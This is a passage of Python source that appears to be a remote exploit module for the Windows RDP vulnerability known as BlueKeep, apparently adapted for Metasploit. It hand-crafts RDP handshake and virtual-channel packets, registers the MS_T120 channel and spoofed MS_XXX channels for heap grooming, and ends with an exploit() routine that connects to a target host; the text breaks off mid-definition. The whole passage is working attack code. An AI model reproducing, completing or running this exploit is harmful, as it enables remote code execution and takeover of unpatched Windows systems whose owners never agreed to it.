  480.  
  481.     # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/d6fe6d1b-c145-4a6f-99aa-4fe3cdcea398
  482.     # DR_CORE_CLIENT_ANNOUNCE_RSP
  483.     def rdpdr_client_announce_reply(self):
  484.         p = b""
  485.         p += b"\x72\x44"                # Header->RDPDR_CTYP_CORE = 0x4472
  486.         p += b"\x43\x43"                # Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343
  487.         p += b"\x01\x00"                # VersionMajor = 0x0001
  488.         p += b"\x0c\x00"                # VersionMinor = 0x000c
  489.         p += b"\x02\x00\x00\x00"        # ClientId = 0x00000002
  490.         return p
  491.  
  492.     # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/902497f1-3b1c-4aee-95f8-1668f9b7b7d2
  493.     # DR_CORE_CLIENT_NAME_REQ
  494.     def rdpdr_client_name_request(self):
  495.         p = b""
  496.         p += b"\x72\x44" #  Header->RDPDR_CTYP_CORE = 0x4472
  497.         p += b"\x4e\x43" #  Header->PAKID_CORE_CLIENT_NAME = 0x434e
  498.         p += b"\x01\x00\x00\x00"  # UnicodeFlag = 0x00000001
  499.         p += b"\x00\x00\x00\x00"  # CodePage = 0x00000000
  500.         p += b"\x0e\x00\x00\x00"  # ComputerNameLen = 0x0000001e (30)
  501.         p += b"\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00"  # TODO: randomize
  502.         return p
  503.  
  504.     # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/10ef9ada-cba2-4384-ab60-7b6290ed4a9a
  505.     # DR_CORE_DEVICELIST_ANNOUNCE_REQ
  506.     def rdpdr_client_device_list_announce_request(self):
  507.         return b"\x72\x44\x41\x44\x00\x00\x00\x00"
  508.  
  509.     def rdpdr_client_device_list_remove(self):
  510.         p = b""
  511.         p += b"\x72\x44"                # Header->RDPDR_CTYP_CORE = 0x4472
  512.         p += b"\x4d\x44"                # Header->PAKID_CORE_DEVICELIST_REMOVE =  0x444d
  513.         p += b"\xff\xff\xff\x01"        # size in bytes * 4
  514.         p += b"\x01\x00\x00\x00"
  515.         return p
  516.  
  517. class RdpClient(object):
  518.     def __init__(self, args, host, port, protocol, print_func, timeout = 35.0):
  519.         self.host = host
  520.         self.port = port
  521.         self.protocol = protocol
  522.         self.timeout = timeout
  523.         self.channels = []
  524.         self.print_func = print_func
  525.         self.sock = None
  526.         self.args = args
  527.  
  528.     def add_channel(self, channel):
  529.         if self.find_channel_by_name(channel.name) != None:
  530.             return
  531.  
  532.         channel.channel_id = 1004 + len(self.channels)
  533.         channel.client = self
  534.  
  535.         self.print_func("[%s] Assigned to %d" % (channel.name, channel.channel_id), self.args)
  536.         self.channels.append(channel)
  537.  
  538.     def find_channel_by_name(self, name):
  539.         name = name.lower()
  540.         for channel in self.channels:
  541.             if channel.name.lower() == name:
  542.                 return channel
  543.         return None
  544.  
  545.     def find_channel_by_id(self, id):
  546.         start = 1004
  547.         if len(self.channels) == 0 or id < start or id > start + len(self.channels):
  548.             return None
  549.  
  550.         return self.channels[id - start]
  551.  
  552.     def connect(self):
  553.         self._create_socket()
  554.  
  555.         vprint_status("Socket connection established.", self.args)
  556.  
  557.         self.send_client_data()
  558.         self.send_channel_packets()
  559.         self.send_client_info()
  560.  
  561.         self.recv_packet()  # Server License Error PDU
  562.         # TODO: handle license packet for server 2008 RDS
  563.         self.recv_packet()  # Server Demand Active PDU
  564.  
  565.         self.send_confirm_active()
  566.         self.send_establish_session()
  567.  
  568.         print_good("Completed RDP handshake!", self.args)
  569.  
  570.         while self.sock != None:
  571.             pkt = self.recv_packet()
  572.             self._handle_packet(pkt)
  573.  
  574.     def disconnect(self):
  575.         if self.sock != None:
  576.             #self.sock.shutdown(socket.SHUT_RDWR)
  577.             self.sock.close()
  578.             self.sock = None
  579.  
  580.     def transport_write(self, pkt):
  581.         #self.print_func("[RdpClient] _transport_write(%d): %s" % (len(pkt), binascii.hexlify(pkt[0:50])))
  582.         self.tls.sendall(pkt)
  583.  
  584.     def _handle_packet(self, pkt):
  585.         if pkt[0] == 0x3 or pkt[0] == '\x03':
  586.             self._handle_tpkt(pkt)
  587.         else:
  588.             pass
  589.  
  590.     def _handle_tpkt(self, pkt):
  591.         if pkt[4:7] != b"\x02\xf0\x80":
  592.             return
  593.  
  594.         if pkt[7] == 0x68 or pkt[7] == '\x68':
  595.             user = pkt[8:10]
  596.             channel_id = struct.unpack(">H", pkt[10:12])[0]
  597.             channel = self.find_channel_by_id(channel_id)
  598.  
  599.             if channel == None:
  600.                 return
  601.  
  602.             flags = pkt[18:22]
  603.             data = pkt[22:]
  604.             channel.on_data_received(self, data, flags, pkt)
  605.  
  606.     def _create_socket(self):
  607.         self.sock = socket.create_connection((self.host, self.port), self.timeout)
  608.         #self.sock.settimeout(self.timeout)
  609.  
  610.         context = ssl._create_unverified_context(protocol = self.protocol) # allow certificate errors!
  611.  
  612.         self.sock.sendall(self.build_negotiate_request())
  613.         self.sock.recv(8192)
  614.  
  615.         self.tls = context.wrap_socket(self.sock, server_hostname=self.host)
  616.  
  617.     def recv_packet(self):
  618.         ''' throws socket.timeout '''
  619.         hdr = self.recv_raw(4)
  620.         #print_good(repr(hdr))
  621.  
  622.         if hdr[0] == 0x3 or hdr[0] == '\x03':
  623.             amount = struct.unpack(">H", hdr[2:4])[0] - 4
  624.         else:
  625.             flags = hdr[1]
  626.             if (flags & 0x80) == 0x80:
  627.                 amount = (struct.unpack(">H", hdr[1:3])[0] & 0x7FFF) - 4
  628.             else:
  629.                 amount = flags - 4
  630.  
  631.         hdr += self.recv_raw(amount)
  632.  
  633.         #print_good(repr(hdr))
  634.  
  635.         self.print_func("[RdpClient] recv_packet(%d): %s" % (len(hdr), binascii.hexlify(hdr[0:50])))
  636.         return hdr
  637.  
  638.     def recv_raw(self, amount):
  639.         ''' throws socket.timeout '''
  640.         data = b""
  641.         while amount > 0:
  642.             new_data = self.tls.recv(amount)
  643.             data += new_data
  644.             amount -= len(new_data)
  645.  
  646.         return data
  647.  
  648.     # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2
  649.     def build_negotiate_request(self):
  650.         pkt = b""
  651.         pkt += b"\x03\x00\x00\x13"                    # TPKT
  652.         pkt += b"\x0e\xe0\x00\x00\x00\x00\x00"        # X.224 0xe = CR TPDU
  653.         pkt += b"\x01"                                # RDP Negotiation Request
  654.         pkt += b"\x00"                                # Flags
  655.         pkt += b"\x08\x00"                            # Length
  656.         pkt += b"\x01\x00\x00\x00"                    # request TLS
  657.         return pkt
  658.  
  659.     # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/2610fcc7-3df4-4166-85bb-2c7ae21f6151
  660.     def send_client_data(self):
  661.         '''
  662.        p = b"\x03\x00\x01\xca"          # TPKT
  663.        p += b"\x02\xf0\x80"             # X.224 Data TPDU
  664.        p += b"\x7f\x65"                 # BER: Application-Defined Type = APPLICATION 101 = Connect-Initial
  665.        p += b"\x82"                     # BER length in next two bytes >256 <65536
  666.        p += b"\x07\xc2"                 # length of rest of the data
  667.  
  668.        p += b"\x04\x01\x01"             # Connect-Initial::callingDomainSelector
  669.        p += b"\x04\x01\x01"             # Connect-Initial::calledDomainSelector
  670.        p += b"\x01\x01\xff"             # Connect-Initial::upwardFlag = TRUE
  671.  
  672.        p += b"\x30\x1a"                 # Connect-Initial::targetParameters
  673.        p += b"\x02\x01\x22"             # DomainParameters::maxChannelIds = 34
  674.        p += b"\x02\x01\x02"             # DomainParameters::maxUserIds = 2
  675.        p += b"\x02\x01\x00"             # DomainParameters::maxTokenIds = 0
  676.        p += b"\x02\x01\x01"             # DomainParameters::numPriorities = 1
  677.        p += b"\x02\x01\x00"             # DomainParameters::minThroughput = 0
  678.        p += b"\x02\x01\x01"             # DomainParameters::maxHeight = 1
  679.        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxMCSPDUsize = 65535
  680.        p += b"\x02\x01\x02"             # DomainParameters::protocolVersion = 2
  681.  
  682.        p += b"\x30\x19"                 # Connect-Initial::minimumParameters (25 bytes)
  683.        p += b"\x02\x01\x01"             # DomainParameters::maxChannelIds = 1
  684.        p += b"\x02\x01\x01"             # DomainParameters::maxUserIds = 1
  685.        p += b"\x02\x01\x01"             # DomainParameters::maxTokenIds = 1
  686.        p += b"\x02\x01\x01"             # DomainParameters::numPriorities = 1
  687.        p += b"\x02\x01\x00"             # DomainParameters::minThroughput = 0
  688.        p += b"\x02\x01\x01"             # DomainParameters::maxHeight = 1
  689.        p += b"\x02\x02\x04\x20"         # DomainParameters::maxMCSPDUsize = 1056
  690.        p += b"\x02\x01\x02"             # DomainParameters::protocolVersion = 2
  691.  
  692.        p += b"\x30\x20"                 # Connect-Initial::maximumParameters
  693.        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxChannelIds = 65535
  694.        p += b"\x02\x03\x00\xfc\x17"     # DomainParameters::maxUserIds = 64535
  695.        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxTokenIds = 65535
  696.        p += b"\x02\x01\x01"             # DomainParameters::numPriorities = 1
  697.        p += b"\x02\x01\x00"             # DomainParameters::minThroughput = 0
  698.        p += b"\x02\x01\x01"             # DomainParameters::maxHeight = 1
  699.        p += b"\x02\x03\x00\xff\xff"     # DomainParameters::maxMCSPDUsize = 65535
  700.        p += b"\x02\x01\x02"             # DomainParameters::protocolVersion = 2
  701.  
  702.        # begin Connect-Initial::userData
  703.        p += b"\x04"                     # ASN.1 OctetString
  704.        p += b"\x82"                     # BER length in next two bytes >256 <65536
  705.        p += b"\x01\x61"                 # length of rest of the data
  706.  
  707.        p += b"\x00\x05"                 # CHOICE: 0, object length = 5 bytes
  708.        p += b"\x00\x14\x7c\x00\x01"     # v.1 of ITU-T Recommendation T.124 (Feb 1998): "Generic Conference Control"
  709.  
  710.        # begin ConnectData::connectPDU
  711.        p += b"\x81\x44"
  712.        p += b"\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x34\x01\xc0\xea\x00\x0a\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03\xaa\x09\x04\x00\x00\xee\x42\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00\x4f\x00\x50\x00\x2d\x00\x46\x00\x38\x00\x34\x00\x30\x00\x47\x00\x49\x00\x4b\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00\x04\x00\x00\x00"
  713.        p += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x20\x80" # rdpdr = 7264706472   c0a00000
  714.        p += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr
  715.        p += b"\x64\x72\x64\x79\x6e\x76\x63\x00\x00\x00\x80\xc0" # drdynvc
  716.        p += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x80"  # MS_T120
  717.  
  718.        # TODO: finish doing the above thing!
  719.        '''
  720.  
  721.         pkt = b""
  722.         pkt += b"\x03\x00\x02\x13\x02\xf0\x80\x7f\x65\x82\x02\x07\x04\x01\x01\x04\x01\x01\x01\x01\xff\x30\x1a\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x30\x19\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02\x30\x20\x02\x03\x00\xff\xff\x02\x03\x00\xfc\x17\x02\x03\x00\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x03\x00\xff\xff\x02\x01\x02\x04\x82\x01\xa1\x00\x05\x00\x14\x7c\x00\x01\x81\x98\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63\x61\x81\x8a\x01\xc0\xea\x00\x0b\x00\x08\x00\x00\x04\x00\x03\x01\xca\x03\xaa\x09\x04\x00\x00\x28\x0a\x00\x00\x65\x00\x74\x00\x68\x00\x64\x00\x65\x00\x76\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x10\x00\x07\x00\x61\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xc0\x0c\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x02\xc0\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x80\x00\x0a\x00\x00\x00"
  723.  
  724.         # TODO: dynamically generate this list based on self.channels
  725.         pkt += b"\x72\x64\x70\x64\x72\x00\x00\x00\x00\x00\x80\xc0" # rdpdr
  726.         spam_channel = self.args['GROOMCHANNEL'].encode() # TODO: remove global
  727.         full_spam_pkt = spam_channel + (b"\x00" * (8 - len(spam_channel))) + b"\x00\x00\x00\xc0"
  728.         pkt += full_spam_pkt
  729.         pkt += full_spam_pkt
  730.         #pkt += b"\x72\x64\x70\x73\x6e\x64\x00\x00\x00\x00\x00\xc0" # rdpsnd
  731.         #pkt += b"\x43\x54\x58\x54\x57\x20\x20\x00\x00\x00\x80\xc0"
  732.         #pkt += b"\x52\x44\x50\x44\x4e\x44\x00\x00\x00\x00\xa0\xc0" # RDPDND
  733.         #pkt += b"\x52\x44\x50\x43\x6c\x69\x70\x00\x00\x00\x00\xc0" # RDPClip
  734.         #pkt += b"\x63\x6c\x69\x70\x72\x64\x72\x00\x00\x00\xa0\xc0" # cliprdr
  735.         pkt += b"\x4d\x53\x5f\x58\x58\x58\x30\x00\x00\x00\xa0\xc0" # MS_XXX0
  736.         pkt += b"\x4d\x53\x5f\x58\x58\x58\x31\x00\x00\x00\xa0\xc0" # MS_XXX1
  737.         pkt += b"\x4d\x53\x5f\x58\x58\x58\x32\x00\x00\x00\xa0\xc0" # MS_XXX2
  738.         pkt += b"\x4d\x53\x5f\x58\x58\x58\x33\x00\x00\x00\xa0\xc0" # MS_XXX3
  739.         pkt += b"\x4d\x53\x5f\x58\x58\x58\x34\x00\x00\x00\xa0\xc0" # MS_XXX4
  740.         pkt += b"\x4d\x53\x5f\x58\x58\x58\x35\x00\x00\x00\xa0\xc0" # MS_XXX5
  741.         pkt += b"\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\xa0\xc0" # MS_T120
  742.  
  743.         pkt += b"\x06\xc0\x08\x00\x00\x00\x00\x00"
  744.  
  745.         self.transport_write(pkt)
  746.         self.recv_packet()
  747.  
  748.     def send_client_info(self):
  749.         p = b"\x03\x00\x01\x49\x02\xf0\x80\x64"
  750.         p += struct.pack(">H", self.get_user_id())
  751.         p += b"\x03\xeb\x70\x81\x3a\x40\x00\x00\x00\x00\x00\x00\x00\xf3\x47\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x2e\x00\x34\x00\x37\x00\x00\x00\x00\x00\x42\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\xa4\x01\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x00\x00\x00\x00\x86\x00\x00\x00\x00\x00"
  752.         self.transport_write(p)
  753.  
  754.     def send_channel_join(self, channel_id):
  755.         p = b""
  756.         p += b"\x03\x00\x00\x0c\x02\xf0\x80\x38"  # Channel Join Request PDU
  757.         p += struct.pack(">H", self.get_user_id())
  758.         p += struct.pack(">H", channel_id)
  759.  
  760.         self.transport_write(p)
  761.         self.recv_packet() # Channel Join Confirm PDU
  762.  
  763.     def send_channel_packets(self):
  764.         p1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"  # MCS Erect Domain
  765.         self.transport_write(p1)
  766.  
  767.         p2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28" # MCS Attach User Request PDU
  768.         self.transport_write(p2)
  769.         self.recv_packet() # MCS Attach User Confirm PDU
  770.  
  771.         self.send_channel_join(self.get_user_channel_id())  # User Channel
  772.         self.send_channel_join(1003)                        # I/O Channel
  773.  
  774.         for channel in self.channels:
  775.             self.send_channel_join(channel.channel_id)
  776.  
  777.     def send_confirm_active(self):
  778.         p = b""
  779.         p += b"\x03\x00\x01\xe0\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x81\xd1\xd1\x01\x13\x00\xef\x03\xea\x03\x01\x00\xea\x03\x08\x00\xb9\x01\x46\x52\x45\x45\x52\x44\x50\x00\x13\x00\x00\x00\x01\x00\x18\x00\x04\x00\x07\x00\x00\x02\x00\x00\x00\x00\x15\x04\x00\x00\x00\x00\x00\x00\x01\x01\x02\x00\x1c\x00\x10\x00\x01\x00\x01\x00\x01\x00\x00\x04\x00\x03\x00\x00\x01\x00\x01\x00\x00\x08\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe9\xfd\x00\x00\x13\x00\x28\x00\x03\x00\x00\x05\x58\x02\x00\x00\x58\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x14\x00\x0d\x00\x58\x00\x3d\x00\x00\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x08\x00\x02\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x14\x00\x0c\x00\x00\x00\x00\x00\x40\x06\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1a\x00\x08\x00\xff\xff\x00\x00\x1c\x00\x0c\x00\x52\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x05\x00\x00"
  780.         self.transport_write(p)
  781.  
  782.     def send_establish_session(self):
  783.         # Client Synchronize PDU
  784.         p = b"\x03\x00\x00\x25\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x16\x16\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03"
  785.         self.transport_write(p)
  786.  
  787.         # Client Control PDU - Cooperate
  788.         p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
  789.         self.transport_write(p)
  790.  
  791.         # Client Control PDU - Request Control
  792.         p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  793.         self.transport_write(p)
  794.  
  795.         # Client Persistent Key List PDU
  796.         p = b"\x03\x00\x00\x39\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x2a\x2a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x18\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
  797.         self.transport_write(p)
  798.  
  799.         # Client Font List PDU
  800.         p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00"
  801.         self.transport_write(p)
  802.  
  803.     def add_tpkt_header(self, p, add_x224_tpdu = True):
  804.         if add_x224_tpdu:
  805.             p = b"\x02\xf0\x80" + p
  806.  
  807.         tpkt = b"\x03\x00"
  808.         tpkt += struct.pack(">H", len(p) + 4)
  809.         tpkt += p
  810.  
  811.         return tpkt
  812.  
  813.     def terminate_connection(self):
  814.         p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80"
  815.         self.transport_write(p)
  816.  
  817.     def make_channel_raw(self, channel_id, data, total_length, flags = 0):
  818.         p = b""
  819.         p += b"\x64"                                    # MCS Send Data Request structure (SDrq, choice 25 from DomainMCSPDU)... right-padded two 0-bits
  820.         p += struct.pack(">H", self.get_user_id())      # userId
  821.         p += struct.pack(">H", channel_id)              # channelId
  822.         p += b"\x70" #\x80"                             # securityHeader?
  823.  
  824.         msg_len = 0x8000 | (len(data) + 8)
  825.         p += struct.pack(">H", msg_len)         # msg packet length!
  826.         p += struct.pack("<L", total_length)    # CHANNEL_PDU_HEADER.length
  827.         p += struct.pack("<L", flags)           # CHANNEL_PDU_HEADER.flags
  828.  
  829.         p += data
  830.  
  831.         tpkt = self.add_tpkt_header(p)
  832.         return tpkt
  833.  
  834.     def send_channel_raw(self, channel_id, data, total_length, flags = 0):
  835.         tpkt = self.make_channel_raw(channel_id, data, total_length, flags)
  836.         self.transport_write(tpkt)
  837.  
  838.     def send_channel_message(self, channel_id, data):
  839.         # TODO: message flags '| 0x10' if certain channel flags
  840.         # TODO: must split in chunks of 1600 (amount from early server pkt)
  841.         self.send_channel_raw(channel_id, data, len(data), 3)
  842.  
  843.     def get_user_channel_id(self):
  844.         return 1004 + len(self.channels)
  845.  
  846.     def get_user_id(self):
  847.         return (1004 + len(self.channels)) - 1001
  848.  
  849.        
  850. def full_msg(msg, args):
  851.     return "%s:%s - %s" % (args['RHOST'], args['RPORT'], msg)
  852.  
  853. def print_good(msg, args):
  854.     log(full_msg(msg, args), 'good')
  855.  
  856. def print_status(msg, args):
  857.     log(full_msg(msg, args), 'info')
  858.  
  859. def print_status_counter(description, i, bound, start = 0x0):
  860.     modu = int(bound / 100)
  861.     if (i != 0 and i+1 != bound) and (i % modu != 0):
  862.         return
  863.  
  864.     perc = int((i+1) / bound * 100)
  865.     msg = "%s - %d%%" % (full_msg(description, args), perc)
  866.     if i + 1 != bound:
  867.         msg = msg + "\033[F\r"
  868.     log(msg)
  869.  
  870. def print_sleep(description, seconds, client, tpkts):
  871.     seconds = int(seconds)
  872.     while True:
  873.         msg = "%s - %d sec    " % (full_msg(description, args), seconds)
  874.         if seconds == 0:
  875.             log(msg)
  876.             break
  877.  
  878.         msg = msg + "\033[F\r"
  879.         seconds -= 1
  880.         log(msg)
  881.         client.transport_write(tpkts)
  882.         time.sleep(1)
  883.  
  884. def print_bad(msg, args):
  885.     log(full_msg(msg, args), 'error')
  886.  
  887. def print_warning(msg, args):
  888.     log(full_msg(msg, args), 'warning')
  889.  
  890. def vprint_status(msg, args):
  891.     if args['VERBOSE'] != 'false':
  892.         print_status(msg, args)
  893.  
  894. def dummy_print(msg, args = ""):
  895.     pass
  896.  
  897. def exploit(args):
  898.    
  899.     try:
  900.         start = time.time()
  901.         # fix MSF stuff
  902.         args['RPORT'] = int(args['RPORT'])
  903.         args['GROOMSIZE'] = int(args['GROOMSIZE'])
  904.         args['GROOMBASE'] = int(args['GROOMBASE'])
  905.  
  906.         if args['EXITFUNC'] != 'thread':
  907.             log("ERROR: set EXITFUNC thread", 'error')
  908.  
  909.         #vprint_status("Args: " + repr(args))
  910.  
  911.         protocol_str = 'PROTOCOL_' + args['SSLVersion']
  912.         protocol = getattr(ssl, protocol_str) \
  913.                 if hasattr(ssl, protocol_str) \
  914.                 else ssl.PROTOCOL_TLSv1
  915.  
  916.         rdp = RdpClient(args, args['RHOST'], args['RPORT'], protocol, print_func = dummy_print)
  917.  
  918.         groom = GroomStrategy.factory(rdp, args)
  919.  
  920.         if not groom:
  921.             print_bad("Invalid groom strategy: %s" % (args['GROOM']), args)
  922.             sys.exit(-1)
  923.  
  924.         rdp.add_channel(ExploitRdpdrChannel(groom)) # "rdpdr"
  925.         rdp.add_channel(RdpChannel("rdpsnd"))
  926.         rdp.add_channel(RdpChannel("cliprdr"))
  927.         rdp.add_channel(RdpChannel("MS_XXX0"))
  928.         rdp.add_channel(RdpChannel("MS_XXX1"))
  929.         rdp.add_channel(RdpChannel("MS_XXX2"))
  930.         rdp.add_channel(RdpChannel("MS_XXX3"))
  931.         rdp.add_channel(RdpChannel("MS_XXX4"))
  932.         rdp.add_channel(RdpChannel("MS_XXX5"))
  933.         rdp.add_channel(RdpChannel("MS_T120"))
  934.  
  935.         groom.before_connect()
  936.  
  937.         print_status("Connecting to the target...", args)
  938.         rdp.connect()
  939.     except Exception as e:
  940.         print_bad(str(e), args)
  941.         #print_status(traceback.format_exc(), args)
  942.     finally:
  943.         print_status("Exploit completed in %d seconds." % (time.time() - start), args)
  944. def log(msg, level = 'info'):
